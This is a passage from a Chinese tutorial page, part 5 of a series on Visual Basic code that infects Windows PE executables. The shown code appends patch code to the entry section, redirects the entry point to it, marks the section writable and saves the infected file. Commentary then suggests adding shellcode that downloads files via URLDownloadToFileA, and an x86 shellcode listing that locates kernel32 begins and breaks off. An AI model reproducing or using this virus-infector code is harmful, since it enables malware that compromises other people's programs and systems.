免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 感染 PE 的代码--vb(5)

感染 PE 的代码--vb(5)

时间:2011-10-25 20:11来源:未知 整理:寂涯网络 点击:


       
        CopyMemory PE(.Offset + .VirtualSize), PatchCode(0), NeededArea
       
        AddressOfEntryPoint = .RVA + .VirtualSize
        WriteDword e_lfanew + &H28&, AddressOfEntryPoint
       
        .VirtualSize = .VirtualSize + NeededArea
        WriteDword SectionTableOffset + EntrySection * &H28& + &H8&, .VirtualSize
       
        .flags = .flags Or &H80000000
        WriteDword SectionTableOffset + EntrySection * &H28& + &H24&, .flags
       
End With
   
Open strTargetFile & ".exe" For Binary As #1  '生成新文件
Put #1, , PE
Close #1
   
InfectPE = 1

Exit Function

ERR:

   InfectPE = 0

End Function

 

Private Function ReadWord(ByVal Offset As Long) As Long
    CopyMemory ReadWord, PE(Offset), 2
End Function

Private Function ReadDword(ByVal Offset As Long) As Long
    CopyMemory ReadDword, PE(Offset), 4
End Function


Private Sub WriteDword(ByVal Offset As Long, ByVal Data As Long)
    CopyMemory PE(Offset), Data, 4
End Sub

Private Function Add0To8(ByVal InputStr As String) As String
    Add0To8 = String(8 - Len(InputStr), "0") & InputStr
End Function

Private Function Read8Str(ByVal Offset As Long) As String
    Dim i As Long, c As Byte, s As String
    For i = 0 To 7
         c = PE(Offset + i)
         If c < 32 Or c > 127 Then c = 32
         s = s & Chr(c)
    Next
    Read8Str = s
End Function

——————————————————————————————————————————————————-——

这个感染的功能很单调,可以写Shellcode,完成更多功能。比如调用fileexists函数查看文件是否存在,然后选择URLDOWNTOFILEA函数下载恢复等等···

Shellcode代码:


        push   ebp
        sub    esp, 0x40;
        mov    ebp, esp;
        push   ebp
        mov    eax, fs:0x30      
        mov    eax, [eax+0x0c]    ;Ldr
        mov    esi, [eax+0x1c]    ;Flink
        lodsd
        mov    edi, [eax+0x08]    ;edi = kernel32.dll
           
        mov    eax, [edi+3Ch]     ;eax = PE首部
        mov    edx, [edi+eax+78h]
        add    edx, edi           ;edx = 输出表地址
        mov    ecx, [edx+18h]     ;ecx = 输出函数个数
        mov    ebx, [edx+20h]                

本页地址 http://www.jybase.net/xitonganquan/20111025395.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com